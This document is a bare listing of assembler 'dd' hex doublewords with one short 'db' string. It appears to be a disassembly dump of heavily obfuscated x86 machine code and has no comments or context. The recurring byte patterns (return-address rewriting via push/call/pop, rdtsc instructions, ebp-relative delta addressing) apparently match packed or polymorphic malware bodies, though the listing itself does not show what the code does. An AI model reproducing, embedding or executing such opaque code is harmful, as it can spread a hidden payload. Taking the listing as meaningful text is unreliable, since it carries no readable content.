dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0CFF2D273h
dd 0F6EA5D4h, 98Bh, 3810F00h, 80000000h, 6A616EE7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0FF7C351h, 0ABB3DFB7h, 0FF985C6h, 66450648h, 3B34E381h
dd 858BA768h, 1CC4BAE0h, 348118C6h, 0E5B36524h, 56006A3Ah
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0B5FF0121h, 64829A9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0CEC35040h, 7E9B643h, 8D000000h, 49403592h
dd 858DDDEEh, 64B7F60h, 3B18D89h, 0D0FF0648h, 5AF78A50h
dd 0BCA6E381h, 6A7A6Bh, 8166ADB7h, 0FF41A8E2h, 52006AD0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 6C60CD29h, 0DEB6CD3Dh, 2781BD83h, 0F010648h, 0E685h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 51858BCAh, 6A064815h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 85CEC352h
dd 0FD8CFBF3h, 608B5298h, 7E9F9h, 0C3F0000h, 0A4DEC8B7h
dd 0C3806189h, 78E9A0h, 95890000h, 64805E9h, 8A90D98Ah
dd 0BB6650D7h, 5190D212h, 170D8501h, 6A5B0648h, 52006A14h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 93DA7FD1h, 0BFFF05FDh, 6880F51h, 89000000h, 48120D8Dh
dd 2D95FF06h, 0F064809h, 6A58D8BFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DD45C350h
dd 29199D8Bh, 38800648h, 87850F00h, 8BFFFFFFh, 100C6D7h
dd 61D78B66h, 0F5DBD83h, 0F000648h, 2F84h, 0E2806000h
dd 158D33E1h, 6106482Bh, 8D89FF6Ah, 64829C5h, 92D95FFh
dd 8D290648h, 648230Dh, 0E9D78B66h, 0FFFFFFE4h, 0DD958B50h
dd 5B06482Bh, 0F5D85C7h, 10648h, 57560000h, 5C80BB66h
dd 85895B5Bh, 6484E04h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0FBC35343h, 860F2F3Fh, 19h, 14E9h, 31DF0B00h
dd 4370348Ah, 5D28EAF0h, 4F7327DEh, 36542CF1h, 4895079h
dd 1A5EBB24h, 0E8607A50h, 8, 0E5973316h, 26786617h, 2CEA8166h
dd 958B5BD3h, 6482B29h, 5E8056Ah, 0FA000000h, 753DA402h
dd 5BD08B66h, 4E1C858Dh, 8B500648h, 240489DEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A1C35545h, 0E11D4C94h
dd 4E0C858Dh, 9D8B0648h, 6482839h, 6800Fh, 9D8B0000h, 6480DE9h
dd 0F525090h, 28Dh, 0F616000h, 8E85631h, 8000000h, 0F7CBD160h
dd 5BBB7126h, 50585A5Bh, 90D08B66h, 1C419D8Bh, 95FF0648h
dd 64832A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 66C35242h, 7AFF8D8Dh, 85290648h, 64803DDh, 1174C00Bh
dd 4E1C858Dh, 0FF500648h, 3A8589D1h, 0EB06484Eh, 3A85C70Ah
dd 0FF06484Eh, 31FFFFFFh, 48059185h, 0FDB50906h, 61064803h
dd 85C69DB3h, 6480FF9h, 65BD294Dh, 68064810h
dd 7EE4284Ah, 481D38Bh, 514E5E24h, 57006A25h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 9601C489h
dd 0FBCFBB66h, 7BDB5FFh, 0DA8B0648h, 7F60858Dh, 6A064Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0C6FA3CC3h, 8912BA58h, 480CC595h, 6AD0FF06h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0F896C353h, 0E95DADA8h, 0Eh, 648B5758h, 8DA0A30Dh, 0A450AB58h
dd 85890B4Bh, 64815D5h, 18A0Fh, 33F50000h, 482B6995h, 0F985C606h
dd 4506480Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0CAC35343h, 0EE9h, 0FF35900h, 8BE8959h, 8B5B1AA5h
dd 8B72BA38h, 4E8DEh, 69690000h, 0B1B28E72h, 0F525050h
dd 58Ah, 16B4BB00h, 310F485Ch, 585AD7B3h, 424448Bh, 0EE8h
dd 0BAA86F00h, 0EB6D19C2h, 8EB5E6FCh, 0B3BA4E2Eh, 8B5A84h
dd 44895EB6h, 0BB660424h, 8058AA00h, 0B5FFC1DBh, 64829A9h
dd 8B66D08Bh, 60858DDFh, 89064B7Fh, 4803AD85h, 0E9D0FF06h
dd 0Eh, 23C802F6h, 0A34B7C7Fh, 1D7CD906h, 8B667ED1h, 0D98589DAh
dd 6A06481Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 3828C352h, 73EA8166h, 6AD28B47h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0BBEBC351h, 8B8FEF3Fh, 481AB19Dh, 0D98C6606h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 82C35141h
dd 1755CCFAh, 1A399D8Bh, 0C1F60648h, 0E7840F04h, 6A000001h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 4533C353h, 0E9A4D7FDh, 102h, 9850Fh, 0BE600000h
dd 70BAFA91h, 8B61C28Bh, 48182DB5h, 9E906h, 0F6F80000h
dd 0ECA5A2F3h, 52E57FE2h, 815B08B7h, 1180C6h, 356BBA00h
dd 0BD83172Eh, 64805B5h, 18850F00h, 8B000000h, 48139595h
dd 0A8E906h, 800F0000h, 2, 8166DF8Bh, 83974BC3h, 840F003Eh
dd 92h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
dd 7BC35242h, 67360A38h, 6CF761A0h, 0F59D8B8Ah, 60064807h
dd 0F2816660h, 12E9E84Dh, 7A000000h, 0B96C9C7Eh, 2F11D9E5h
dd 87A8323Bh, 0B91FB86h, 850F6179h, 1, 9146AF5h, 48318D9Dh
dd 2D95FF06h, 66064809h, 32E6F381h, 55006A61h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 4A2F3AE5h
dd 0E938D80Bh, 0FFFFFF6Bh, 0E19BD09h, 6C70648h, 1, 5E9h
dd 2FA4000h, 0BD833DA4h, 6484E04h, 0B3850F05h, 66000000h
dd 0FB91CA81h, 1AD9B58Bh, 6DBA0648h, 0B97E50D9h, 64h, 38C0F60h
dd 66000000h, 0B966DA8Bh, 8061B5FCh, 840FE83Eh, 3Dh, 3359950Bh
dd 5E90648h, 0A9000000h, 50E6710Bh, 38E9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0C33E53B4h, 8B812417h, 48119D9Dh, 57E8006h, 33840FC2h
dd 89000000h, 4806C585h, 0B5014606h, 64815CDh, 9C850F49h
dd 0E8FFFFFFh, 8, 0CDD10A65h, 0D79AD018h, 895BF2B2h, 481625B5h
dd 10E906h, 0BA660000h, 0B5893E3Eh, 64822E5h, 1CD99D8Bh
dd 6A580648h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 441BC355h, 25BFF389h, 833D0BB5h
dd 4812D9BDh, 840F0006h, 0EFh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 1BC35343h, 8AD7B348h, 99F704FAh
dd 89D2BF0Fh, 48203D9Dh, 8D896006h, 6480F55h, 0FF985C6h
dd 81540648h, 9F5B31DAh, 185894Fh, 68064804h, 0FC7F1B23h
dd 0B8A0Fh, 52500000h, 6BBB310Fh, 5A224ED5h, 24048158h
dd 2CFA3D1h, 14019D8Bh, 85010648h, 64832D5h, 29A9B5FFh
dd 0BF0F0648h, 60858DDFh, 0F064B7Fh, 68Ch, 0D59D8900h
dd 0FF064819h, 87DE80D0h, 0D88A006Ah, 12D9B5FFh, 6A0648h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 8D0D56C3h, 0BA660B63h, 0D0FF8028h, 27D1B589h, 6A610648h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 48C1C350h, 0DD286A69h, 0F1B5892Fh, 0C7064822h
dd 4812FD85h, 106h, 0F5BD0100h, 89064808h, 482A7DBDh, 6A6006h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 29F0C2C3h, 480EBD95h, 4E806h, 800000h, 0E9500000h, 6
dd 6D78F1Ah, 448BFB85h, 52500424h, 0DE8h, 225B9300h, 0A2E0FA2Eh
dd 70338984h, 6E8CE48h, 0D7000000h, 0CEC20178h, 0F5B5A95h
dd 0B6525031h, 60310F6Dh, 5A585A61h, 0BA008B58h, 12A49C28h
dd 4244489h, 52505051h, 585A310Fh, 1585B5Ah, 48203DBDh
dd 0D9D3306h, 6A064802h, 0AE8FFh, 4CAF0000h, 0E5FDB3AEh
dd 0E42CE1C5h, 5E1B589h, 0FF5A0648h, 48203995h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0B143BFE1h, 99858997h, 8A064828h, 8D8961D4h, 64806A9h
dd 6090D68Bh, 64DABF66h, 5061F38Ah, 2114D6BBh, 858B901Fh
dd 6480BC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0BEC35545h, 0C37BA643h, 764888C2h, 840FC00Bh, 0Bh
dd 0B57BA66h, 1A5195FFh, 0C7F80648h, 48123985h, 106h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 123D9BCDh, 5840F96h, 0BA000000h, 50339468h, 0EE8F9h
dd 7D0A0000h, 0B22DB9E4h, 0F4D807A8h, 8968B5F0h, 2FFD950Bh
dd 835B0648h, 482981BDh, 840F0006h, 0Bh, 4CF5BBBBh, 3995FF50h
dd 83064827h, 480E95BDh, 840F0006h, 4Ah, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 0F8C35646h, 53C6DD09h
dd 0AE9h, 12CFA000h, 0B2206400h, 5AE6505Dh, 1A6595FFh
dd 0FE90648h, 0E9000000h, 0BBC53706h, 5E14ED81h, 0FB698B8Ah
dd 0BD838F72h, 6480135h, 99840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 308CC357h, 0DD9D89C0h, 0E9064832h, 13h, 0F06A0150h
dd 882F68ABh, 99A8A40Fh, 0E27CC865h, 83BC08EFh, 480691BDh
dd 850F0006h, 50h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 69C35141h, 95FFD78Bh, 6481CB5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EAC35040h, 0E9D4E3D2h
dd 457B50C8h, 2D9D8B51h, 5A064832h, 2EC9BD83h, 0F000648h
dd 6284h, 0AE900h, 80800000h, 0AB84B4D5h, 0FE7DB4CCh, 29B98581h
dd 40030648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 3B7D8BC3h, 2FF98581h, 40030648h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0C3F688C3h, 0FF8A90Fh, 0BD8D2931h
dd 66064810h, 0FB97C381h, 5DFF8D8Dh, 958B0648h, 6481259h
dd 0D98B0189h, 6AC233h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0CE93CC3h, 1A000000h, 0AC5D1605h
dd 0A093EF93h, 8B98ED1Dh, 48186195h, 4418906h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1EC35545h, 0EA91F8E5h
dd 0E626D2BFh, 310FD58Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 80C35545h, 0EC1FD6B1h, 3FD78EBCh, 10018D89h
dd 8D8D0648h, 6485E27h, 189DF8Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 54C35343h, 66D042B1h, 330838BBh
dd 13E9C2h, 0BF560000h, 0F953856Eh, 0E851A10Bh, 6FEE2B14h
dd 0E9653017h, 441899Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 3BC35646h, 29958BE2h, 8306481Bh, 480F05BDh
dd 840F0006h, 14h, 91BD8951h, 5B064813h, 2B4D95FFh, 95010648h
dd 6480D39h, 12D1BD83h, 0F010648h, 6185h, 0BE900h, 0D92D0000h
dd 0F19DC549h, 0A40B5632h, 4CE9E4h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B045CCC3h
dd 0CFD01355h, 8B664E42h, 0A4B58BD3h, 0C706485Fh, 6, 0CEB58B00h
dd 0C706485Ch, 6, 0BEBACF00h, 0F0B5A74h, 0BA66DAB7h, 0BD838BD9h
dd 6481239h, 8840F00h, 89000001h, 4816A19Dh, 0A5BD8306h
dd 1064811h, 0E3850Fh, 9D030000h, 64815C5h, 4DF88D8Bh
dd 95290648h, 648288Dh, 1C6D88Bh, 12E900h, 0DEF60000h
dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 0EE960h
dd 99E50000h, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h, 0A0AB7B68h
dd 0DE883h, 0CA000000h, 25FA454h, 0FEFC23D7h, 0B2D3D87Ch
dd 4815B4Ah, 5F550524h, 0FF6AF87Ch, 11800Fh, 8B0F0000h
dd 0Bh, 6E9h, 9A95D900h, 0FF20DA1Ah, 48203995h, 299D8906h
dd 61064820h, 0B70F09B6h, 5D95FFD6h, 8B06481Bh, 0F88D8BD0h
dd 6A06484Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 3077C350h, 4ADDE585h, 0D2BF0F51h
dd 6A01FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0B667D4C3h, 15BD83F5h, 1064804h, 5850Fh
dd 93BB0000h, 8B52F0DBh, 0D1B70FC0h, 1299BD83h, 75000648h
dd 35BD8309h, 6480Dh, 53501A74h, 858BC08Bh, 64829B9h, 29B98589h
dd 9D8D0648h, 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h
dd 8B535018h, 4829B985h, 0B9858906h, 8D064829h, 4AA1539Dh
dd 5BD3FF06h, 6D850158h, 8B06481Ch, 4828E19Dh, 79BAF806h
dd 8B5A2867h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 228B9500h, 14FF747Eh, 3ADB529h, 0BD830648h
dd 6481239h, 24850F00h, 89000000h, 4805A995h, 0E5BD8306h
dd 64805h, 11840Fh, 0E8F80000h, 8, 98FA768Fh, 0E1140ED9h
dd 835BD98Bh, 481239BDh, 840F0006h, 19h, 2821BD09h, 0BD830648h
dd 64808D1h, 6840F00h, 81000000h, 4AF36DAh, 39BD8308h
dd 64812h, 3B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 9AA266C3h, 796646C1h
dd 0C3816677h, 0BD83D49Dh, 64808D1h, 6840F00h, 2B000000h
dd 48107595h, 39BD8306h, 64812h, 32840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 96E7E5C3h, 11BD835Dh, 64831h, 6840Fh, 0EA810000h, 676B720Fh
dd 1239BD83h, 0F000648h, 4284h, 399D8900h, 83064817h, 483209BDh
dd 840F0006h, 2Fh, 85D8D09h, 95FF0648h, 6480315h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4BC35141h, 81665023h
dd 8BD50FCAh, 0DD8509C0h, 83064812h, 481299BDh, 9750006h
dd 0D35BD83h, 74000648h, 8B53501Ah, 0F9858BC0h, 8906482Fh
dd 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh
dd 18740006h, 858B5350h, 6482FF9h, 2FF98589h, 9D8D0648h
dd 64AA16Ch, 585BD3FFh, 0B1EA8166h, 6AF995h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DCFAF2C3h
dd 199D8B13h, 89064809h, 482C398Dh, 6AC08B06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 2634C351h, 8AFD36A0h, 50DCD468h, 0DE9h, 17AE8800h, 0A5AC8F69h
dd 0CD9FE6F6h, 835A5306h, 481239BDh, 840F0006h, 45Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 55C35646h, 0B167FD15h
dd 75D18293h, 15CD9D8Bh, 0BD830648h, 64804B9h, 4A840F02h
dd 8B000000h, 48172D95h, 0D1BD8306h, 1064812h, 37850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0E80671C3h, 0Eh, 0CF012FB7h, 0CBCD02EDh
dd 88D31FE3h, 0F281BE73h, 22BD95A9h, 51BD835Bh, 64806h
dd 84840Fh, 9D8B0000h, 6481491h, 0E6ABB60h, 0EE805CEh
dd 99000000h, 0EF5FE744h, 77AFA6AFh, 0E6CE558Dh, 0D5BD89A7h
dd 5A06480Ah, 4DF88D8Bh, 0E2810648h, 15CE2557h, 6A01FEh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0BA5F3FC3h, 77886921h, 91B5F468h, 26BA66D4h, 240481BEh
dd 2B6E4A8Ch, 31758589h, 0FF6A0648h, 17798D89h, 95FF0648h
dd 6482039h, 61D88B66h, 0ED72C381h, 23602BF1h, 4808799Dh
dd 0F88D8B06h, 6A06484Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0CFA2C355h, 0FE9E484h
dd 8C000000h, 0EF8239F2h, 4F943AA8h, 8A871C08h, 1FEE00Ah
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E9C35242h
dd 4E88436h, 80000000h, 66000000h, 508D73BBh, 840Fh, 448B0000h
dd 8B0424h, 4489DAB2h, 52500424h, 0FD78B66h, 0D18B5331h
dd 58585A5Bh, 311D9589h, 0F2810648h, 3B5B5F4Fh, 0B70FFF6Ah
dd 3995FFD3h, 6A064820h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 456BC350h, 0D8A2EC65h
dd 81F427C9h, 8822C3CAh, 6BBB6126h, 89160A23h, 482AD18Dh
dd 45BD8D06h, 6A064801h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 24EDC353h, 85D0A927h
dd 8B661F45h, 8BDA8BD8h, 0C6801C4Fh, 6A016A85h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 935C352h, 48000995h, 8B0F5006h, 0Dh, 8E9h, 8E568F00h
dd 435CFC49h, 240C89BCh, 858D5B51h, 64B390Bh, 18B0Fh, 0FFF90000h
dd 7D958BD0h, 8B064829h, 9D8B204Fh, 64811D1h, 0B70F036Ah
dd 0CB8166D7h, 0F50A8AEh, 86h, 240C8900h, 8D8BDB80h, 4B390B85h
dd 9AF28106h, 0FF139546h, 1B589D0h, 8D064804h, 480145BDh
dd 4A86BA06h, 4F8B20CCh, 6DBD891Ch, 0E9064812h, 12h, 0E9EAB6Eh
dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 16A8D51h, 13E9h, 72845D00h
dd 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh, 8983B650h
dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 7EC1E2C3h, 49B76399h, 0B21958Bh, 8B660648h
dd 0B858DDEh, 29064B39h, 4813298Dh, 0B90FBA06h, 0D0FF13B7h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F3C35343h
dd 0C7F7F2AAh, 1EF0B7C4h, 85895A52h, 6480DDDh, 6A204F8Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0D46CC351h, 13099503h, 36A0648h, 6E52EA81h
dd 50506BDCh, 61606052h, 0F310F61h, 683h, 0F525000h, 5A585A31h
dd 240C8958h, 28C1958Bh, 858D0648h, 64B390Bh, 0D0FFD4B6h
dd 1B218531h, 8D8B0648h, 6484DF8h, 21C5BD89h, 1FE0648h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A0C35343h
dd 0F68D9E48h, 858B083Eh, 6484DF8h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 9CC35747h, 0DA59D2Bh, 77B20648h
dd 0BF0F00FEh, 66016AD6h, 681F65BAh, 0DB672224h, 48135B6h
dd 987DDB24h, 4D952B24h, 8D06481Bh, 4B391585h, 0FFDC8A06h
dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 3D66021Ch, 0BD83030Fh, 64805E5h, 0B5840F00h
dd 53000000h, 0B589F960h, 64807D9h, 0BD835B61h, 64830E5h
dd 9D850F01h, 0F000000h, 8D8DDFBFh, 64B391Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 42C35343h, 357FB21Ah
dd 6A54BD0Bh, 5FCB8103h, 6A290395h, 52006A01h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 6DCC12E3h
dd 0C78BB880h, 81958998h, 0FF064807h, 9D2950D1h, 6480BC5h
dd 458D295Bh, 6A06480Ah, 0D0B70F01h, 9589016Ah, 6480489h
dd 0EE9D1FFh, 2C000000h, 4F49135Ch, 4E307AF7h, 0E4EF8E24h
dd 5CDFE8E3h, 958BFA13h, 6480421h, 6660206Ah, 6C7AE381h
dd 0FE82BA66h, 89606061h, 480839B5h, 810F06h, 61000000h
dd 69D9529h, 6A610648h, 0AEBB66FFh, 5BF85764h, 203995FFh
dd 0DA810648h, 28BEE751h, 0B8h, 0A840F00h, 60000000h, 0D7815B52h
dd 22C8A789h, 0B23B761h, 51840FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0EFDBC353h, 649CF6EBh, 0D68B2A0Ch, 2B2DBD83h, 0F000648h
dd 1F84h, 0AD958B00h, 0FF064812h, 48099595h, 66606006h
dd 8BFD71BBh, 48299DB5h, 0E7BA6106h, 617D1D9Dh, 1551858Bh
dd 0CE90648h, 0D9000000h, 1C617763h, 0DBF903AEh, 0C6D0B911h
dd 0BB660000h, 6A580B97h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0D633C352h, 0D18BB259h
dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0E959C356h, 9, 0EB6A2A88h, 66B13023h
dd 4C1F622h, 64840Fh, 8D0F0000h, 4, 0D71BA66h, 55E9h, 0DE900h
dd 23CC0000h, 0CF5C2823h, 49F7B41Eh, 8B8E6C7Bh, 48182DB5h
dd 0E2DB8106h, 810148F7h, 1180C6h, 0AD952900h, 0C7064827h
dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 358E4A18h, 89699954h, 665E572Eh
dd 0F883D08Bh, 0AD840F00h, 8900000Bh, 480B29BDh, 1F88306h
dd 136850Fh, 0E9600000h, 0Eh, 2785BABDh, 0F1B61F20h, 0E19AC295h
dd 0B8614AFBh, 0
dd 8BDF8B66h, 480BE19Dh, 0FC00B06h, 8C84h, 0AD8D8900h
dd 83064827h, 840F01F8h, 0BDh, 68D0Fh, 95890000h, 6480635h
dd 0F03F883h, 2684h, 79958900h, 0B8064818h, 0
aXJnTy db '»ÔX¹J½ty[',0
db 29h
dd 4826E9BDh, 51E7FF06h, 0F9D8D09h, 0B85A0648h, 1, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 61C35242h, 9D0930E1h
dd 6483001h, 2058531h, 0BD8D0648h, 5B7974h, 20198D89h
dd 0E7FF0648h, 5AF28166h, 84BD8DCBh, 6A064844h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 774BC353h, 0DAB70F59h, 350E9h, 9E800h, 0FCC0000h, 18A160B8h
dd 0BB5F19B4h, 337F0884h, 5385C75Bh, 506484Eh, 66000000h
dd 5B8D68Bh, 8A000000h, 9ECE9DCh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6159F7C3h
dd 0F281EEAEh, 40F6CD23h, 0F02F883h, 16785h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0FC1E07BEh, 0FDCF62Bh, 68Dh, 0BD28100h, 0B8533E1Dh
dd 0
dd 1C11958Bh, 0C00B0648h, 0D1840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 668AECC3h
dd 0AB46CB81h, 0F01F883h, 0FFFF4C84h, 51006AFFh, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0E89BDEE9h, 13h, 39EB187Eh, 38B96969h, 8CCE9B28h, 0B6107EA6h
dd 565538BCh, 886EE381h, 5A5B4771h, 1735B589h, 85290648h
dd 648044Dh, 0F03F883h, 0FFFE7684h, 50006AFFh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0C02BBDD0h
dd 1246CB81h, 0BD8D3C28h, 5B7974h, 0FFD18B66h, 51006AE7h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 515CC4DEh, 8D5BD68Bh, 48467CBDh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C9DF939Ch
dd 9D8BF46Ch, 6482991h, 1B0E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66438F46h
dd 3AD8D381h, 0F03F883h, 7485h, 0D7B70F00h, 178E0Fh, 12E90000h
dd 33000000h, 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh
dd 10BD8D48h, 6A064848h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 0E8AAC353h, 57912FC7h
dd 36E9649Ah, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 829EC356h, 98CCA80h
dd 4816FDBDh, 5F88306h, 14850Fh, 0F3810000h, 38E058DDh
dd 7C5E9h, 199D8B00h, 66064806h, 0F883DE8Bh, 53850F06h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 4048C351h, 84194BE2h, 8DD08AFEh
dd 484A08BDh, 69958B06h, 0E9064828h, 0B5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9DC35242h, 0F883B9B2h
dd 45850F07h, 51000000h, 17ADB529h, 295B0648h, 48101185h
dd 0E5BD8D06h, 6A06481Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 54D5C351h, 0D69BB79h
dd 24BA1C27h, 0E97197D6h, 116h, 678BBB66h, 0F0AF883h, 4085h
dd 7AEA8100h, 0BB6AC7F4h, 64A967CBh, 4C00BD8Dh, 6A0648h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 3B765EC3h, 0D27832EBh, 6E94F99h, 8B000000h, 48102595h
dd 6A5706h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 66B343C3h, 800FD68Bh, 2, 51B918B6h, 66309613h
dd 870FD38Bh, 6, 3161BD09h, 3F830648h, 59840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 7944C353h, 0CEAA37B5h, 92CD73ADh, 27D59589h
dd 9D8B0648h, 64822BDh, 9D230F30h, 6482939h, 6652C9D1h
dd 5A9A9ABAh, 0DD958B47h, 0E9064832h, 0FFFFFFAAh, 68C0Fh
dd 958B0000h, 6483195h, 56006A5Fh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 8AD7B348h, 99F704FAh
dd 0CF80427Ah, 0BD89F853h, 6484DFCh, 0AFBED2BAh, 9D8D8D1Bh
dd 8A064800h, 0D9B5FFD1h, 8B06481Ah, 0C7858DD0h, 50064A9Dh
dd 54F7BD8Dh, 8D8D0648h, 6486F82h, 831ABCB8h, 30CF2B54h
dd 47C8D007h, 8DF87549h, 486F23B5h, 9A8D8D06h, 2B06486Fh
